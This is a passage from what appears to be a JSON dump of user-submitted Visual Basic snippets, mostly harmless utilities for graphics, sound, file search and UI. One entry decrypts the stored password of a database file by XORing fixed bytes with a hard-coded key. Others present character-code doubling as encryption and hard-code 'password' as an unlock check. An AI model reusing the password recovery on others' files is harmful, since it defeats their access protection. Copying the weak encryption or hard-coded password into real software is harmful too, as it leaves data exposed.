cosa = Cos(Ixy_angle * pi180)\n sina = Sin(Ixy_angle * pi180)\n cosb = Cos(Iz_angle * pi180)\n sinb = Sin(Iz_angle * pi180)\n sinsinba = sinb * sina\n sincosba = sinb * cosa\n cossinba = sina * cosb\n coscosba = cosb * cosa\n dYYshift = 80\n dXXshift = 80\n zoom = 6#\n NewPaint\nEnd Sub\n'This subroutine draws the cube using the translation code\nSub NewPaint()\n posxy -1, -1, -1: xxx = csx: yyy = csy:\n posxy -1, 1, -1: Line (xxx, yyy)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy -1, 1, 1: Line (x, y)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy -1, -1, 1: Line (x, y)-(csx, csy), QBColor(15): Line (csx, csy)-(xxx, yyy), QBColor(15)\n posxy 1, -1, -1: xxx = csx: yyy = csy:\n posxy 1, 1, -1: Line (xxx, yyy)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy 1, 1, 1: Line (x, y)-(csx, csy), QBColor(15): x = csx: y = csy\n posxy 1, -1, 1: Line (x, y)-(csx, csy), QBColor(15): Line (csx, csy)-(xxx, yyy), QBColor(15)\n \n posxy 1, -1, -1: x = csx: y = csy: posxy -1, -1, -1: Line (x, y)-(csx, csy), QBColor(15)\n posxy 1, -1, 1: x = csx: y = csy: posxy -1, -1, 1: Line (x, y)-(csx, csy), QBColor(15)\n posxy 1, 1, 1: x = csx: y = csy: posxy -1, 1, 1: Line (x, y)-(csx, csy), QBColor(15)\n posxy 1, 1, -1: x = csx: y = csy: posxy -1, 1, -1: Line (x, y)-(csx, csy), QBColor(15)\nEnd Sub\n'This subroutine reads the value of the next rotation / zoom\nPrivate Sub Timer1_Timer()\nSelect Case ww\nCase 1\n rollleft\nCase 2\n rollright\nCase 3\n rollup\nCase 4\n rolldown\nCase 5\n zoom = zoom * 1.01\n Form1.Cls\n NewPaint\nCase 6\n zoom = zoom * 0.99\n Form1.Cls\n NewPaint\nEnd Select\nEnd Sub\n"},{"WorldId":1,"id":3856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3857,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3860,"LineNumber":1,"line":"Function Eyncrypt(sData As String) As String\nDim sTemp as String, sTemp1 as String\nFor iI% = 1 To Len(sData$)\n sTemp$ = Mid$(sData$, iI%, 1)\n lT = Asc(sTemp$) * 2\n sTemp1$ = sTemp1$ & Chr(lT)\nNext iI%\nEyncrypt$ = sTemp1$\nEnd Function\nFunction UnEyncrypt(sData As String) As String\nDim sTemp as String, sTemp1 as String\nFor iI% = 1 To Len(sData$)\n sTemp$ = Mid$(sData$, iI%, 1)\n lT = Asc(sTemp$) \\ 2\n sTemp1$ = sTemp1$ & Chr(lT)\nNext iI%\nUnEyncrypt$ = sTemp1$\nEnd Function\n"},{"WorldId":1,"id":3863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3888,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3915,"LineNumber":1,"line":"Public Sub KillCloseButton(hWnd As Long)\n Dim hSysMenu As Long\n hSysMenu = GetSystemMenu(hWnd, 0)\n Call RemoveMenu(hSysMenu, 6, MF_BYPOS)\n Call RemoveMenu(hSysMenu, 5, MF_BYPOS)\nEnd Sub\n'Call the above function from a form as it's being loaded\nPrivate Sub Form_Load()\n KillCloseButton Me.hWnd\nEnd Sub\n"},{"WorldId":1,"id":3921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3924,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3944,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3950,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3964,"LineNumber":1,"line":"Public Function ReadFile(ByVal sFileName As String) As String\n Dim fhFile As Integer\n fhFile = FreeFile\n Open sFileName For Binary As #fhFile\n ReadFile = Input$(LOF(fhFile), fhFile)\n Close #fhFile\nEnd Function\n"},{"WorldId":1,"id":3969,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3972,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3978,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4022,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4044,"LineNumber":1,"line":"Function AccessPassword(Byval Filename As string) as string\nDim MaxSize, NextChar, MyChar, secretpos,TempPwd \nDim secret(13) \nsecret(0) = (&H86) \nsecret(1) = (&HFB) \nsecret(2) = (&HEC) \nsecret(3) = (&H37) \nsecret(4) = (&H5D) \nsecret(5) = (&H44) \nsecret(6) = (&H9C) \nsecret(7) = (&HFA) \nsecret(8) = (&HC6) \nsecret(9) = (&H5E) \nsecret(10) = (&H28) \nsecret(11) = (&HE6) \nsecret(12) = (&H13) \nsecretpos = 0 \nOpen Filename For Input As #1 ' Open file for input. \nFor NextChar = 67 To 79 Step 1 'Read in Encrypted Password \n Seek #1, NextChar ' Set position. \n MyChar = Input(1, #1) ' Read character. \n TempPwd = TempPwd & Chr(Asc(MyChar) Xor secret(secretpos)) 'Decrypt using Xor \n secretpos = secretpos + 1 'increment pointer \nNext NextChar \nClose #1 ' Close file. \nAccessPassword = TempPwd\nEnd Function\n"},{"WorldId":1,"id":4045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4049,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim Start As Long\n Start = Timer\n \n Do While Timer < Start + 3 'a 3 second delay (Change to any numer you want)\n DoEvents ' Yield to other processes.\n Loop\n \n Beep\n \nEnd Sub\n"},{"WorldId":1,"id":4059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4068,"LineNumber":1,"line":"'Source Code for mdlFindFile.bas or put directly into form\nDim strLocation As String\nDim blFoundItFlag As Boolean\n'Different Drive Types\n'0 = \"Unknown\"\n'1 = \"Removable\"\n'2 = \"Fixed\"\n'3 = \"Network\"\n'4 = \"CD-ROM\"\n'5 = \"RAM Disk\"\n \nPublic Sub FindIt(strFileName As String)\nDim FS As FileSystemObject\nDim Drv As Drive\nDim DrvCol\nDim RootFldr As Folder\nDim strRootPath As String\nDim strFNameToPass As String\nblFoundItFlag = False\nstrFNameToPass = UCase(strFileName) 'will speed processing passing it this way & ensure proper comparison\n Set FS = CreateObject(\"Scripting.FileSystemObject\")\n Set DrvCol = FS.Drives\n For Each Drv In DrvCol\n If blFoundItFlag Then 'Once we found it, don't got through the rest of the drives\n Exit Sub\n Else\n strRootPath = Drv.DriveLetter & \":\\\"\n If Drv.IsReady Then 'Will prevent errors\n Set RootFldr = FS.GetFolder(strRootPath)\n Call CheckEm(RootFldr, strRootPath, strFNameToPass)\n End If\n End If\n Next\n \nEnd Sub\nPublic Sub CheckEm(Fldr As Folder, Path As String, FName As String)\n Dim SubFldr As Folder\n Dim strPath As String\n Dim strFName As String\n \nOn Error GoTo ErrHandler\n strPath = Path\n strFName = FName\n For Each SubFldr In Fldr.SubFolders\n For Each Fil In SubFldr.Files\n \n strLocation = SubFldr.ParentFolder & \"\\\" & SubFldr.Name & \"\\\"\n DoEvents\n 'Debug.Print strLocation\n If UCase(Fil.Name) = strFName Then\n strLocation = Replace(strLocation, \"\\\\\", \"\\\") 'Some paths have 2 \\\\ ???\n MsgBox strLocation 'show em where it's at\n blFoundItFlag = True\n Exit Sub\n End If\n \n Next\n Call CheckEm(SubFldr, strPath, strFName) 'Little recursive action here\n Next\nExit Sub\nErrHandler:\n If MsgBox(\"Error: \" & Err.Number & \" \" & Err.Description & vbCrLf & _\n \"Do you want to continue?\", vbYesNo) = vbYes Then\n Resume Next\n Else\n blFoundItFlag = True\n Exit Sub\n End If\nEnd Sub\n"},{"WorldId":1,"id":4069,"LineNumber":1,"line":"'*****************************************************************\n' October 17 1999- By Jorge Loubet\n' jorgeloubet@yahoo.com\n' Durango, Dgo. Mexico.\n' Hola amigos !\n' Here is what I did to make my PC speaker beep\n' at the frequency and length of time I want,\n' using hardware direct control.\n' It works fine in Win95 and Win98. Not in WinNT.\n' (Revenge against beep() function in NT ? )\n' Just follow these steps:\n' 1) Download the library WIN95IO.DLL from\n' http://www.softcircuits.com (Free software)\n' 2) Copy this DLL to your System folder\n' 3) Put a command buton on your form named cmdStartSound\n' 4) Put a timer on your form and name it as TimerSound\n' 5) Copy all of this code to your form\n' 6) Run it !!!\n'\n' Have a nice sound and make your own fiesta with tequila and se├▒oritas...!\n' If you think this is good for you, let me know that, sending me\n' your comments to my e-mail.\n'*****************************************************************\nOption Explicit\nDim SoundEnd As Boolean\n'If you wish, put this declarations on a module, deleting \"Private\"\n'Write a byte to port:\nPrivate Declare Sub vbOut Lib \"WIN95IO.DLL\" (ByVal nPort As Integer, ByVal nData As Integer)\n'Read a byte from port:\nPrivate Declare Function vbInp Lib \"WIN95IO.DLL\" (ByVal nPort As Integer) As Integer\n'These are standard freqs of music. You can set any freq.\nConst C = 523 'Do in spanish\nConst D = 587.33 'Re\nConst E = 659.26 'Mi\nConst F = 698.46 'Fa\nConst G = 783.99 'Sol\nConst A = 880 'La\nConst B = 987.77 'Si\nPrivate Sub cmdStartSound_Click()\n Dim i As Integer\n \n 'This is all you have to do to simulate a phone ring sound.\n For i = 1 To 12\n Sounds C, 20 'Sounds 523 Hz in 20 miliseconds\n Sounds F, 20 'Sounds 698.46 Hz in 20 miliseconds\n Next i\n \n 'Need to go up an octave? Just double the frequency or viceversa.\n ' example:\n 'Sounds C * 2, 500 'An octave up\n 'Sounds C / 2, 500 'An octave down\n 'Yes, you can do a funny piano using your programming skills !\nEnd Sub\nPrivate Sub Sounds(Freq, Length)\nDim LoByte As Integer\nDim HiByte As Integer\nDim Clicks As Integer\nDim SpkrOn As Integer\nDim SpkrOff As Integer\n' \"I didn't tested if this is exactly the frequency,\n' but it's ok to start here. I you wish more precision,\n' try with a piano or another reference to adjust the clicks.\n' For example, \"A\" has a frequency of 880 Hertz. If you have\n' a good ear, it may be adjusted very close by\n' changing the 1193280 number up or down.\n' Of course, you can use a frequency meter.\n' I didn't tested the frequency limits too. Test it by yourself.\"\n' Length precision is the same as the timer control precision.\n'Ports 66, 67, and 97 control timer and speaker\n'Divide clock frequency by sound frequency\n'to get number of \"clicks\" clock must produce.\n Clicks = CInt(1193280 / Freq)\n LoByte = Clicks And &HFF\n HiByte = Clicks \\ 256\n'Tell timer that data is coming\n vbOut 67, 182\n'Send count to timer\n vbOut 66, LoByte\n vbOut 66, HiByte\n'Turn speaker on by setting bits 0 and 1 of PPI chip.\n SpkrOn = vbInp(97) Or &H3\n vbOut 97, SpkrOn 'My speaker is sounding !\n'Leave speaker on (while timer runs)\n SoundEnd = False 'Do not finish yet\n TimerSound.Interval = Length 'Time to sound\n TimerSound.Enabled = True 'Begin to count time\n Do While Not SoundEnd\n 'Let processor do other tasks\n DoEvents\n Loop\n'Turn speaker off resetting bit 0 and 1.\n SpkrOff = vbInp(97) And &HFC\n vbOut 97, SpkrOff\nEnd Sub\nPrivate Sub TimerSound_Timer()\n 'Time is over\n SoundEnd = True 'Finish sound now\n TimerSound.Enabled = False\nEnd Sub\n"},{"WorldId":1,"id":4072,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4073,"LineNumber":1,"line":"Option Explicit\nPrivate WithEvents m_txtComplete As TextBox\nPrivate m_strDelimeter As String\nPrivate m_strList As String\nPrivate Sub m_txtComplete_KeyUp(KeyCode As Integer, Shift As Integer)\n \n Dim i As Integer\n Dim strSearchText As String\n Dim intDelimented As Integer\n Dim intLength As Integer\n Dim varArray As Variant\n \n With m_txtComplete\n If KeyCode <> vbKeyBack And KeyCode > 48 Then \n If InStr(1, m_strList, .Text, vbTextCompare) <> 0 Then\n \n varArray = Split(m_strList, m_strDelimeter)\n \n For i = 0 To UBound(varArray)\n strSearchText = Trim(varArray(i))\n \n If InStr(1, strSearchText, .Text, vbTextCompare) And \n (Left$(.Text, 1) = Left$(strSearchText, 1)) And \n .Text <> \"\" Then\n .SelText = \"\"\n .SelLength = 0\n intLength = Len(.Text)\n .Text = .Text & Right$(strSearchText, Len(strSearchText) - Len(.Text))\n .SelStart = intLength\n .SelLength = Len(.Text)\n Exit Sub\n End If\n \n Next i\n End If\n End If\n End With\n \nEnd Sub\nPublic Property Get CompleteTextbox() As TextBox\n Set CompleteTextbox = m_txtComplete\nEnd Property\nPublic Property Set CompleteTextbox(ByRef txt As TextBox)\n Set m_txtComplete = txt\nEnd Property\nPublic Property Get SearchList() As String\n SearchList = m_strList\nEnd Property\nPublic Property Let SearchList(ByVal str As String)\n m_strList = str\nEnd Property\nPublic Property Get Delimeter() As String\n Delimeter = m_strDelimeter\nEnd Property\nPublic Property Let Delimeter(ByVal str As String)\n m_strDelimeter = str\nEnd Property\n"},{"WorldId":1,"id":4075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4096,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4107,"LineNumber":1,"line":"Public Function IsLoadedForm(ByVal pObjForm As Form) As Boolean\n Dim tmpForm As Form\n For Each tmpForm In Forms\n If tmpForm Is pObjForm Then\n IsLoadedForm = True\n Exit For\n End If\n Next\n \nEnd Function\n"},{"WorldId":1,"id":4114,"LineNumber":1,"line":"'This code assumes a DB with a table named \"Appointments\" and fields named '\"AppName\", \"AppTime\", \"Appointment\", and \"Notes\".\n'put this into the Form_Load() area of the form the grid and data \n'control are on.\n Data1.RecordSource = \"\"\n Data1.RecordSource = ReturnFieldsSQL\n Data1.Refresh\n DBGrid1.Refresh\n'put this function in a module\nPublic Function ReturnFieldsSQL()\n Dim SQLS As String\n SQLS = \"SELECT AppDate,\"\n SQLS = SQLS + \" \" & \"Apptime,\"\n SQLS = SQLS + \" \" & \"Appointment,\"\n SQLS = SQLS + \" \" & \"Notes\"\n SQLS = SQLS + \" \" & \"From [Appointments]\"\n ReturnFieldsSQL = SQLS\nEnd Function\n'And thats all there is to it.\n'This is a very simple function to use.\n'You can alter the number of items to return.\n'I'm still working on the syntax for the \"Where\" clause to go with this 'function.\n'Once the form loads, if you do it right,\n'the grid will be filled with the tables specified here."},{"WorldId":1,"id":4116,"LineNumber":1,"line":"Public Function KeyStr(KeyCode As Integer) As String\n 'Copyright Alexander Chia Yan Sheng\n Select Case KeyCode\n Case 65 To 90\n KeyStr = Chr(KeyCode)\n Case 48 To 57\n KeyStr = Chr(KeyCode)\n Case 13\n KeyStr = \"Enter\"\n Case 9\n KeyStr = \"Tab\"\n Case 112 To 123\n KeyStr = \"F\" & LTrim(Str(KeyCode - 111))\n Case 27\n KeyStr = \"Esc\"\n Case 192\n KeyStr = \"~\"\n Case 187\n KeyStr = \"=\"\n Case 189\n KeyStr = \"-\"\n Case 219\n KeyStr = \"[\"\n Case 220\n KeyStr = \"\\\"\n Case 221\n KeyStr = \"]\"\n Case 186\n KeyStr = \";\"\n Case 222\n KeyStr = \"'\"\n Case 188\n KeyStr = \",\"\n Case 190\n KeyStr = \".\"\n Case 191\n KeyStr = \"/\"\n Case 16\n KeyStr = \"Shift\"\n Case 20\n KeyStr = \"Caps Lock\"\n Case 144\n KeyStr = \"Num Lock\"\n Case 145\n KeyStr = \"Scr Lock\"\n Case 17\n KeyStr = \"Ctrl\"\n Case 18\n KeyStr = \"Alt\"\n Case 32\n KeyStr = \"Space\"\n Case 45\n KeyStr = \"Ins\"\n Case 46\n KeyStr = \"Del\"\n Case 33\n KeyStr = \"Pg Up\"\n Case 34\n KeyStr = \"Pg Dn\"\n Case 8\n KeyStr = \"Back\"\n Case 36\n KeyStr = \"Home\"\n Case 35\n KeyStr = \"End\"\n Case 37\n KeyStr = \"Left Arrow\"\n Case 38\n KeyStr = \"Up Arrow\"\n Case 39\n KeyStr = \"Right Arrow\"\n Case 40\n KeyStr = \"Down Arrow\"\n Case 106\n KeyStr = \"* [Num Pad]\"\n Case 107\n KeyStr = \"+ [Num Pad]\"\n Case 111\n KeyStr = \"/ [Num Pad]\"\n Case 109\n KeyStr = \"- [Num Pad]\"\n Case Else\n KeyStr = \"!\"\n End Select\nEnd Function\n"},{"WorldId":1,"id":4120,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4123,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4129,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4133,"LineNumber":1,"line":"Private Sub Combo1_Click()\nDim ncm As NONCLIENTMETRICS 'NONCLIENTMETRICS to change\nDim Orincm As NONCLIENTMETRICS 'NONCLIENTMETRICS to replace original\nDim Returned As Long\nDim i As Integer\nncm.cbSize = Len(ncm)\nReturned = SystemParametersInfo(41, 0, ncm, 0) 'get the system NONCLIENTMETRICS\nOrincm = ncm 'store the value of system NONCLIENTMETRICS to use later\n'now to change the font name\n'other functions can be used to change the font name\n'but for simplicity i have used asc() & mid()\nFor i = 1 To Len(Combo1.Text) 'use ncm.lfMenuFont.lfFacename(i) to change menu font\n ncm.lfMessageFont.lfFaceName(i) = Asc(Mid(Combo1.Text, i, 1))\n ncm.lfCaptionFont.lfFaceName(i) = Asc(Mid(Combo1.Text, i, 1))\nNext i\nncm.lfMessageFont.lfFaceName(i) = 0 'add null at the end of font name\nncm.lfCaptionFont.lfFaceName(i) = 0\nReturned = SystemParametersInfo(42, 0, ncm, &H1 Or &H2) 'remove &H2 if you don't want to affect all the open windows\nMsgBox \"Message & Caption Font Changed to \" & Combo1.Text, vbOKOnly, \"NILESH\"\nReturned = SystemParametersInfo(42, 0, Orincm, &H1 Or &H2) 'replace original font\nMsgBox \"Message & Caption Font Replaced to \" & StrConv(Orincm.lfCaptionFont.lfFaceName, vbUnicode), vbOKOnly, \"NILESH\"\nEnd Sub\nPrivate Sub Form_Load()\n' Heres a very simple code to change the system\n' NONCLIENTMETRICS like the the window title font,\n' the message font,menu font using VB. You can also change\n' other elements like status font etc\n' in your window only or all the open windows\n' like PLUS! or display settings (appearance)\n' also it is possible to underline, strikethru fonts in\n' your window with this code. This code is very useful\n' if you are coding a multi-lingual software.\n' For more info and more free code send e-mail.\n' code by - NILESH P KURHADE\n' email - bluenile5@hotmail.com\n\nDim i As Integer\nShow\n' to flood the combo box with first 10 fonts\nFor i = 1 To 10 ' or use For i = 1 To Screen.FontCount to flood all the fonts in your pc\n Combo1.AddItem Screen.Fonts(i)\nNext i\nEnd Sub"},{"WorldId":1,"id":4136,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4147,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4181,"LineNumber":1,"line":"Public Function ValidateEmail(strEmail As String) As Boolean\n \nValidateEmail = strEmail Like \"*@[A-Z,a-z,0-9]*.*\"\n \nEnd Function"},{"WorldId":1,"id":4185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4190,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4206,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4207,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4210,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4214,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4222,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4226,"LineNumber":1,"line":"dim a as integer\na% = msgbox(\"Message box message ;-)\",10+10)\nif a% = 6 then '6 indicates a YES\nmsgbox \"yes was choosen\"\nelse\nmsgbox \"no was choosen\"\nend if"},{"WorldId":1,"id":4228,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4233,"LineNumber":1,"line":"Private Sub Form_Load()\n 'load a bunch of long messages in the listbox\n For i = 0 To 25\n List1.AddItem (i & \". This is a long string that you can't _ \n see all of in the list box, it's #: \" & i)\n Next i\nEnd Sub\nPrivate Sub List1_MouseMove(Button As Integer, Shift As Integer, _\n X As Single, Y As Single)\n 'the height of the default text (you will have to change this \n 'if you change the font size)\n WordHeight = 195\n \n 'go through the loop until you get to the file\n For i = 0 To List1.ListCount - 1\n 'check to what line the text is over (you need to go \n 'through the whole list in case you've scrolled down\n If Y > WordHeight * (i - List1.TopIndex) _\n And Y < (WordHeight * i + WordHeight) Then\n 'set the tooltiptext to the list box value\n List1.ToolTipText = List1.List(i)\n 'see if your in \"empty space\"\n ElseIf Y > (WordHeight * i + WordHeight) Then\n List1.ToolTipText = \"Empty space\"\n End If\n Next i\nEnd Sub\n"},{"WorldId":1,"id":4239,"LineNumber":1,"line":"Private Sub Form_Load()\nDim fileLock As String\nOpen \"C:\\Text.txt\" For Input As #1 ' This is the file that it will read from.\nDo While Not EOF(1) ' Loop until end of file.\n Line Input #1, fileLock 'Each line of the file is the path name\n FileNumber = FreeFile() 'Findout next available file number\n Open fileLock For Binary Shared As #FileNumber\n Lock #FileNumber 'Lock file\n Loop\nClose #1\n'System tray stuff\n\nDim nd As NOTIFYICONDATA\n Dim lRet As Long\n With nd\n .cbSize = Len(nd)\n .hwnd = picHook.hwnd\n .uID = 1&\n .szTip = \"Lock on\" & Chr(0)\n .uCallbackMessage = WM_MOUSEMOVE\n .hIcon = Picture1.Picture 'Icon for system tray\n .uFlags = NIF_MESSAGE Or NIF_ICON Or NIF_TIP\n End With\n lRet = Shell_NotifyIconA(NIM_ADD, nd)\n 'Error check here\n 'lRet = PostMessage(mnuPophwnd, WM_NULL, 0&, 0&) 'hrmf\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Dim nd As NOTIFYICONDATA\n Dim iRet As Integer\n With nd\n .cbSize = Len(nd)\n .hwnd = picHook.hwnd\n .uID = 1&\n End With\n iRet = Shell_NotifyIconA(NIM_DELETE, nd)\n If FreeFile() <> 1 Then 'Remove files from memory\n For X = 1 To FreeFile() - 1\n Close #X\n Next\n End If\nEnd Sub\nPrivate Sub Timer1_Timer() 'Puts form in background\nfrmSplash.Hide\nTimer1.Enabled = False\nEnd Sub\nPrivate Sub picHook_MouseMove(Button As Integer, Shift As Integer, _\n X As Single, Y As Single)\n Static bRunning As Boolean\n Dim lMsg As Long\n lMsg = X / Screen.TwipsPerPixelX\n If Not (bRunning) Then 'avoid cascades\n bRunning = True\n Select Case lMsg\n Case WM_LBUTTONDBLCLK:\n If InputBox(\"Please enter Password:\", \"Lock\") = \"password\" Then Unload Me 'Password check\n Case WM_LBUTTONDOWN:\n Case WM_LBUTTONUP:\n Case WM_RBUTTONDBLCLK:\n Case WM_RBUTTONDOWN:\n End Select\n bRunning = False\n End If\nEnd Sub\n"},{"WorldId":1,"id":4241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4247,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4271,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4292,"LineNumber":1,"line":"'Get more great source code from \n' http://www.stridersolutions.com/products/cs/\nOption Explicit\n#If Win16 Then\n Private Declare Function LockWindowUpdate Lib \"User\" (ByVal hWndLock As Integer) As Integer\n#Else\n Private Declare Function LockWindowUpdate Lib \"User32\" (ByVal hWndLock As Long) As Long\n#End If\nPrivate Sub StopFlicker(ByVal lHWnd as Long)\n Dim lRet As Long \n 'Object will not flicker - just be blank\n lRet = LockWindowUpdate(lHWnd)\n End Sub\nPrivate Sub Release()\n Dim lRet As Long \n lRet = LockWindowUpdate(0)\nEnd Sub"},{"WorldId":1,"id":4311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4313,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4320,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4329,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4343,"LineNumber":1,"line":"Private Sub Timer1_Timer()\n If Label1.Left < -1000 Then\n Label1.Left = 7000\nElse\n Label1.Left = Val(Label1.Left) - 40\nEnd If\nEnd Sub"},{"WorldId":1,"id":4352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":4372,"LineNumber":1,"line":"You can download this code in Windows Write Format. Its easier to read !\nContact me with any questions. Marc 3dtech@thelakes.net\n<Begin Instructions>\n\nCreate an ActiveX DLL File\nFollow these steps.\n1. Open VB and select to create an AxtiveX DLL project\n (an empty Class Module will appear)\n2. Click on the \"Project\" menu. Select \"Project1 Properties\".\n3. In the Properties Window set the project name to : CntrlPnl\n4. Close the window and rename the Class Module to : ControlPanel\n5. Now lets enter some code into the Class Module. Enter the following...\n\tOption Explicit\n\tPublic Sub HardWare()\n\tDim B As Long\n\tB = Shell(\"rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1\")\n\tEnd Sub\nThe above code will create a function to access the Control Panels \n\"Add Hardware\" dialog.\nOk... Now its time to save amd compile your DLL file.\n6. From the \"File\" menu select to \"Save Project As\".\n Save the project and class module etc.\n7. From the \"File\" menu select \"Make CntrlPnl.DLL\"\n8. Set the destination for the output DLL file. Also set any options at this time.\n For now the default options will be ok.\n\nUsing Your New DLL File\nOk, now lets put this DLL to use !\n1. Click \"File\" menu and select \"New Project\". Save any changes to your DLL \n project if prompted to.\n2. Select \"Standard EXE\" project. VB Now create a new blank project and loads\n one default form named \"Form1\".\n3. From the \"Project\" menu select \"References\". A new window will open and\n display all available object libraries.\n4. Click the \"Browse Button\" and navigate to the location where you compiled\n your DLL file.\n5. Click the file and click \"Open\".\n6. Your DLL will now be added to the list of \"References\". It should also be checked.\n7. Close the \"References\" window.\n8. Draw a Command Button on the form.\n9. Double click the form to access the \"Code View\".\n10. Click the ComboBox on the left and from it, select (General)\n11. Your cursor should now appear above the \"Form Load\" event.\n12. Declare your DLL file with this code: Private CP As New ControlPanel\n\nIt should look like this...\n\tPrivate CP As New ControlPanel\n\t___________________________\n\tPrivate Sub Form_Load()\n\tEnd Sub\n\nSo lets review. You added a Reference to the DLL file and declared it in your project.\nNotice in the line \"Private CP As New ControlPanel\" that ControlPanel is the name of\nyour Class Module. You want to call the Class Module name and NOT the project name.\n\nUsing the Function of the DLL file\nNow lets use the function from the DLL\n1. Double click on the Command button to open the code view.\n2. Now enter the following code : CP.HardWare\n\nThe code should appear like this...\n\tPrivate Sub Command1_Click()\n\tCP.HardWare\n\tEnd Sub\n\nNotice \"CP\". You used it in the General Declarations.\n\nHere is the complete code for the form :\n\n\tPrivate CP As New ControlPanel\n\t___________________________\n\tPrivate Sub Command1_Click()\n\tP.HardWare\n\tEnd Sub\n\nAdvanced Use:\nHere is the complete code for the Class module.\n' Begin Module ---\nOption Explicit\nPublic Sub Access()\nDim A As Long\nA = Shell(\"rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5\")\nEnd Sub\nPublic Sub HardWare()\nDim B As Long\nB = Shell(\"rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1\")\nEnd Sub\nPublic Sub AddPrinter()\nDim C As Long\nC = Shell(\"rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter\")\nEnd Sub\nPublic Sub Uninstall()\nDim D As Long\nD = Shell(\"rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1\")\nEnd Sub\nPublic Sub WindowsSetUp()\nDim E As Long\nE = Shell(\"rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2\")\nEnd Sub\nPublic Sub ShortCut()\nDim F As Long\nF = Shell(\"rundll32.exe apwiz.cpl,NewLinkHere %1\")\nEnd Sub\nPublic Sub DateTime()\nDim G As Long\nG = Shell(\"rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0\")\nEnd Sub\nPublic Sub DUN()\nDim H As Long\nH = Shell(\"rundll32.exe rnaui.dll,RnaWizard\")\nEnd Sub\nPublic Sub Display()\nDim I As Long\nI = Shell(\"rundll32.exe shell32.dll,Control_RunDLL 